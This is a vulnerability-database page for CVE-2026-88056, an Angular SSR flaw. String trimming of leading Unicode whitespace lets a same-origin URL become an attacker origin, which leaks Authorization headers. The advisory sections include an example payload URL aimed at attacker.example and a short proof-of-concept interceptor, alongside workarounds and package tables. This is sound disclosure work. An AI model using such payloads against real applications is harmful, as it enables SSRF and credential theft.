Every CVE Search/ Get API key

CVE-2026-88056

Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

8.6 HighFix available

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Passive

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.54%Up 0.1 points since Sep 11, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.6

Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.

Record
CVE-2026-88056
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-75675 8.6

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.

Record
EUVD-2026-75675
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-f6mr-pjwc-34m4 8.6

Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

Summary

A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.

Technical Description

When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.

However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.

Impact & Reachability

  • Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.
  • Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.

Proof of Concept:

// Interceptor performing same-origin validation
const trustedOrigin = new URL('http://localhost:4000/');
const target = new URL(req.urlWithParams, trustedOrigin);

if (target.origin !== trustedOrigin.origin) {
  throw new Error('Cross-origin request blocked');
}

// Request passes validation, server attaches sensitive credential:
const authenticatedReq = req.clone({
  headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),
});

// @angular/platform-server previously trimmed the URL, converting it into
// //attacker.example/collect and routing the credential to the attacker.

Workarounds

  • Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as \u00A0) before performing origin checks or passing them to HttpClient.
  • Avoid relying solely on new URL(input, trustedOrigin).origin for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.
Record
GHSA-f6mr-pjwc-34m4
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-918
Updated
2026-11-02
NVD 8.6

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.

Record
CVE-2026-88056
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-918
Updated
2026-11-02
OSV 8.6

Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.

Record
CVE-2026-88056
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-918
Updated
2026-11-02
OSVDEBIAN-CVE-2026-88056 9.1

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.

Record
DEBIAN-CVE-2026-88056
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
Show 48 moreShow less
OSVGHSA-f6mr-pjwc-34m4 8.6

Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

Summary

A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.

Technical Description

When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.

However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.

Impact & Reachability

  • Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.
  • Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.

Proof of Concept:

// Interceptor performing same-origin validation
const trustedOrigin = new URL('http://localhost:4000/');
const target = new URL(req.urlWithParams, trustedOrigin);

if (target.origin !== trustedOrigin.origin) {
  throw new Error('Cross-origin request blocked');
}

// Request passes validation, server attaches sensitive credential:
const authenticatedReq = req.clone({
  headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),
});

// @angular/platform-server previously trimmed the URL, converting it into
// //attacker.example/collect and routing the credential to the attacker.

Workarounds

  • Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as \u00A0) before performing origin checks or passing them to HttpClient.
  • Avoid relying solely on new URL(input, trustedOrigin).origin for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.
Record
GHSA-f6mr-pjwc-34m4
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-918
Updated
2026-11-02
OSVUBUNTU-CVE-2026-88056 8.6

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.

Record
UBUNTU-CVE-2026-88056
CVSS 4.0
8.6 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVCLSA-2026-1790443334 No score

TuxCare security update for @angular (1 CVE)

TuxCare rebuilt 3 @angular packages to address 1 CVE. Fixed in 12.2.17-tuxcare.11.

Record
CLSA-2026-1790443334
Updated
2026-11-02
OSVCLSA-2026-1790489187 No score

TuxCare security update for @angular (5 CVEs)

TuxCare rebuilt 3 @angular packages to address 5 CVEs. Fixed in 19.2.23-tuxcare.5.

Record
CLSA-2026-1790489187
Updated
2026-11-02
OSVCLSA-2026-1790597611 No score

TuxCare security update for @angular (8 CVEs)

TuxCare rebuilt 13 @angular packages to address 8 CVEs. Fixed in 19.2.18-tuxcare.1.

Record
CLSA-2026-1790597611
Updated
2026-11-02
OSVCLSA-2026-1790597633 No score

TuxCare security update for @angular (8 CVEs)

TuxCare rebuilt 13 @angular packages to address 8 CVEs. Fixed in 19.2.14-tuxcare.1.

Record
CLSA-2026-1790597633
Updated
2026-11-02
OSVCLSA-2026-1790597654 No score

TuxCare security update for @angular (9 CVEs)

TuxCare rebuilt 13 @angular packages to address 9 CVEs. Fixed in 18.2.13-tuxcare.1.

Record
CLSA-2026-1790597654
Updated
2026-11-02
OSVCLSA-2026-1790887532 No score

TuxCare security update for @angular (3 CVEs)

TuxCare rebuilt 2 @angular packages to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.

Record
CLSA-2026-1790887532
Updated
2026-11-02
OSVCLSA-2026-1791195835 No score

TuxCare security update for @angular/language-service (9 CVEs)

TuxCare rebuilt @angular/language-service to address 9 CVEs. Fixed in 19.2.14-tuxcare.3.

Record
CLSA-2026-1791195835
Updated
2026-11-02
OSVCLSA-2026-1792160931 No score

TuxCare security update for @angular/animations (8 CVEs)

TuxCare rebuilt @angular/animations to address 8 CVEs. Fixed in 18.2.13-tuxcare.1.

Record
CLSA-2026-1792160931
Updated
2026-11-02
OSVCLSA-2026-1792160992 No score

TuxCare security update for @angular/router (3 CVEs)

TuxCare rebuilt @angular/router to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.

Record
CLSA-2026-1792160992
Updated
2026-11-02
OSVCLSA-2026-1792161313 No score

TuxCare security update for @angular/animations (3 CVEs)

TuxCare rebuilt @angular/animations to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.

Record
CLSA-2026-1792161313
Updated
2026-11-02
OSVCLSA-2026-1792161355 No score

TuxCare security update for @angular/animations (3 CVEs)

TuxCare rebuilt @angular/animations to address 3 CVEs. Fixed in 19.2.23-tuxcare.5.

Record
CLSA-2026-1792161355
Updated
2026-11-02
OSVCLSA-2026-1792161356 No score

TuxCare security update for @angular/animations (6 CVEs)

TuxCare rebuilt @angular/animations to address 6 CVEs. Fixed in 19.2.18-tuxcare.1.

Record
CLSA-2026-1792161356
Updated
2026-11-02
OSVCLSA-2026-1792161357 No score

TuxCare security update for @angular/animations (6 CVEs)

TuxCare rebuilt @angular/animations to address 6 CVEs. Fixed in 19.2.14-tuxcare.1.

Record
CLSA-2026-1792161357
Updated
2026-11-02
OSVCLSA-2026-1792161358 No score

TuxCare security update for @angular/animations (3 CVEs)

TuxCare rebuilt @angular/animations to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.

Record
CLSA-2026-1792161358
Updated
2026-11-02
OSVCLSA-2026-1792163704 No score

TuxCare security update for @angular/router (3 CVEs)

TuxCare rebuilt @angular/router to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.

Record
CLSA-2026-1792163704
Updated
2026-11-02
OSVCLSA-2026-1792163749 No score

TuxCare security update for @angular/router (3 CVEs)

TuxCare rebuilt @angular/router to address 3 CVEs. Fixed in 19.2.23-tuxcare.5.

Record
CLSA-2026-1792163749
Updated
2026-11-02
OSVCLSA-2026-1792163750 No score

TuxCare security update for @angular/router (6 CVEs)

TuxCare rebuilt @angular/router to address 6 CVEs. Fixed in 19.2.18-tuxcare.1.

Record
CLSA-2026-1792163750
Updated
2026-11-02
OSVCLSA-2026-1792163751 No score

TuxCare security update for @angular/router (6 CVEs)

TuxCare rebuilt @angular/router to address 6 CVEs. Fixed in 19.2.14-tuxcare.1.

Record
CLSA-2026-1792163751
Updated
2026-11-02
OSVCLSA-2026-1792163752 No score

TuxCare security update for @angular/router (6 CVEs)

TuxCare rebuilt @angular/router to address 6 CVEs. Fixed in 18.2.13-tuxcare.1.

Record
CLSA-2026-1792163752
Updated
2026-11-02
OSVCLSA-2026-1792208231 No score

TuxCare security update for @angular/upgrade (3 CVEs)

TuxCare rebuilt @angular/upgrade to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.

Record
CLSA-2026-1792208231
Updated
2026-11-02
OSVCLSA-2026-1792208283 No score

TuxCare security update for @angular/upgrade (3 CVEs)

TuxCare rebuilt @angular/upgrade to address 3 CVEs. Fixed in 19.2.23-tuxcare.5.

Record
CLSA-2026-1792208283
Updated
2026-11-02
OSVCLSA-2026-1792208321 No score

TuxCare security update for @angular/upgrade (3 CVEs)

TuxCare rebuilt @angular/upgrade to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.

Record
CLSA-2026-1792208321
Updated
2026-11-02
OSVCLSA-2026-1792208371 No score

TuxCare security update for @angular/upgrade (7 CVEs)

TuxCare rebuilt @angular/upgrade to address 7 CVEs. Fixed in 19.2.14-tuxcare.3.

Record
CLSA-2026-1792208371
Updated
2026-11-02
OSVCLSA-2026-1792250310 No score

TuxCare security update for @angular/compiler (4 CVEs)

TuxCare rebuilt @angular/compiler to address 4 CVEs. Fixed in 12.2.17-tuxcare.11.

Record
CLSA-2026-1792250310
Updated
2026-11-02
OSVCLSA-2026-1792250350 No score

TuxCare security update for @angular/compiler (5 CVEs)

TuxCare rebuilt @angular/compiler to address 5 CVEs. Fixed in 19.2.23-tuxcare.5.

Record
CLSA-2026-1792250350
Updated
2026-11-02
OSVCLSA-2026-1792250372 No score

TuxCare security update for @angular/compiler (3 CVEs)

TuxCare rebuilt @angular/compiler to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.

Record
CLSA-2026-1792250372
Updated
2026-11-02
OSVCLSA-2026-1792250497 No score

TuxCare security update for @angular/compiler (9 CVEs)

TuxCare rebuilt @angular/compiler to address 9 CVEs. Fixed in 19.2.14-tuxcare.3.

Record
CLSA-2026-1792250497
Updated
2026-11-02
OSVCLSA-2026-1792281313 No score

TuxCare security update for @angular/common (3 CVEs)

TuxCare rebuilt @angular/common to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.

Record
CLSA-2026-1792281313
Updated
2026-11-02
OSVCLSA-2026-1792281407 No score

TuxCare security update for @angular/common (4 CVEs)

TuxCare rebuilt @angular/common to address 4 CVEs. Fixed in 19.2.23-tuxcare.5.

Record
CLSA-2026-1792281407
Updated
2026-11-02
OSVCLSA-2026-1792281465 No score

TuxCare security update for @angular/common (3 CVEs)

TuxCare rebuilt @angular/common to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.

Record
CLSA-2026-1792281465
Updated
2026-11-02
OSVCLSA-2026-1792281551 No score

TuxCare security update for @angular/common (8 CVEs)

TuxCare rebuilt @angular/common to address 8 CVEs. Fixed in 19.2.14-tuxcare.3.

Record
CLSA-2026-1792281551
Updated
2026-11-02
OSVCLSA-2026-1792325533 No score

TuxCare security update for @angular/compiler-cli (3 CVEs)

TuxCare rebuilt @angular/compiler-cli to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.

Record
CLSA-2026-1792325533
Updated
2026-11-02
OSVCLSA-2026-1792325627 No score

TuxCare security update for @angular/compiler-cli (4 CVEs)

TuxCare rebuilt @angular/compiler-cli to address 4 CVEs. Fixed in 19.2.23-tuxcare.5.

Record
CLSA-2026-1792325627
Updated
2026-11-02
OSVCLSA-2026-1792325691 No score

TuxCare security update for @angular/compiler-cli (3 CVEs)

TuxCare rebuilt @angular/compiler-cli to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.

Record
CLSA-2026-1792325691
Updated
2026-11-02
OSVCLSA-2026-1792325785 No score

TuxCare security update for @angular/compiler-cli (8 CVEs)

TuxCare rebuilt @angular/compiler-cli to address 8 CVEs. Fixed in 19.2.14-tuxcare.3.

Record
CLSA-2026-1792325785
Updated
2026-11-02
OSVCLSA-2026-1792345355 No score

TuxCare security update for @angular/core (4 CVEs)

TuxCare rebuilt @angular/core to address 4 CVEs. Fixed in 12.2.17-tuxcare.11.

Record
CLSA-2026-1792345355
Updated
2026-11-02
OSVCLSA-2026-1792345423 No score

TuxCare security update for @angular/core (5 CVEs)

TuxCare rebuilt @angular/core to address 5 CVEs. Fixed in 19.2.23-tuxcare.5.

Record
CLSA-2026-1792345423
Updated
2026-11-02
OSVCLSA-2026-1792345466 No score

TuxCare security update for @angular/core (3 CVEs)

TuxCare rebuilt @angular/core to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.

Record
CLSA-2026-1792345466
Updated
2026-11-02
OSVCLSA-2026-1792345536 No score

TuxCare security update for @angular/core (9 CVEs)

TuxCare rebuilt @angular/core to address 9 CVEs. Fixed in 19.2.14-tuxcare.3.

Record
CLSA-2026-1792345536
Updated
2026-11-02
OSVCLSA-2026-1792357436 No score

TuxCare security update for @angular/elements (3 CVEs)

TuxCare rebuilt @angular/elements to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.

Record
CLSA-2026-1792357436
Updated
2026-11-02
OSVCLSA-2026-1792357513 No score

TuxCare security update for @angular/elements (4 CVEs)

TuxCare rebuilt @angular/elements to address 4 CVEs. Fixed in 19.2.23-tuxcare.5.

Record
CLSA-2026-1792357513
Updated
2026-11-02
OSVCLSA-2026-1792357566 No score

TuxCare security update for @angular/elements (3 CVEs)

TuxCare rebuilt @angular/elements to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.

Record
CLSA-2026-1792357566
Updated
2026-11-02
OSVCLSA-2026-1792357647 No score

TuxCare security update for @angular/elements (8 CVEs)

TuxCare rebuilt @angular/elements to address 8 CVEs. Fixed in 19.2.14-tuxcare.3.

Record
CLSA-2026-1792357647
Updated
2026-11-02
OSVCLSA-2026-1792366676 No score

TuxCare security update for @angular/forms (3 CVEs)

TuxCare rebuilt @angular/forms to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.

Record
CLSA-2026-1792366676
Updated
2026-11-02
OSVCLSA-2026-1792366727 No score

TuxCare security update for @angular/forms (3 CVEs)

TuxCare rebuilt @angular/forms to address 3 CVEs. Fixed in 19.2.23-tuxcare.5.

Record
CLSA-2026-1792366727
Updated
2026-11-02
OSVCLSA-2026-1792366760 No score

TuxCare security update for @angular/forms (3 CVEs)

TuxCare rebuilt @angular/forms to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.

Record
CLSA-2026-1792366760
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@angular/platform-server
npm
22.0.0 up to 22.1.4
22.1.4
@angular/platform-server
npm
21.0.0 up to 21.2.22
21.2.22
@angular/platform-server
npm
20.0.0 up to 20.3.30
20.3.30
@angular/platform-server
npm
through 19.2.25 None known
@angular/bazel
TuxCare:npm
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/benchpress
TuxCare:npm
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/language-service
TuxCare:npm
12.2.17-tuxcare.0 up to 12.2.17-tuxcare.11, plus listed versions
12.2.1712.2.17-tuxcare.112.2.17-tuxcare.1012.2.17-tuxcare.212.2.17-tuxcare.3
Show 6 moreShow less
12.2.17-tuxcare.412.2.17-tuxcare.512.2.17-tuxcare.612.2.17-tuxcare.712.2.17-tuxcare.812.2.17-tuxcare.9
12.2.17-tuxcare.11
@angular/bazel
TuxCare:npm
From an advisory covering 5 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/benchpress
TuxCare:npm
From an advisory covering 5 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
@angular/language-service
TuxCare:npm
From an advisory covering 5 CVEs
19.2.23-tuxcare.0 up to 19.2.23-tuxcare.5, plus listed versions
19.2.2319.2.23-tuxcare.119.2.23-tuxcare.219.2.23-tuxcare.319.2.23-tuxcare.4
19.2.23-tuxcare.5
Show 111 moreShow less
Affected packages
PackageAffectedFixed
@angular/common
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/compiler
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/compiler-cli
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/core
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/elements
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/forms
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/language-service
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/localize
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/platform-browser
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/platform-browser-dynamic
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/platform-server
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/service-worker
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/upgrade
TuxCare:npm
From an advisory covering 8 CVEs
19.2.18-tuxcare.0 up to 19.2.18-tuxcare.1, plus listed versions
19.2.18
19.2.18-tuxcare.1
@angular/common
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/compiler
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/compiler-cli
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/core
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/elements
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/forms
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/language-service
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/localize
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/platform-browser
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/platform-browser-dynamic
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/platform-server
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/service-worker
TuxCare:npm
From an advisory covering 8 CVEs
19.2.14-tuxcare.0 up to 19.2.14-tuxcare.1, plus listed versions
19.2.14
19.2.14-tuxcare.1
@angular/upgrade
TuxCare:npm
From an advisory covering 8 CVEs
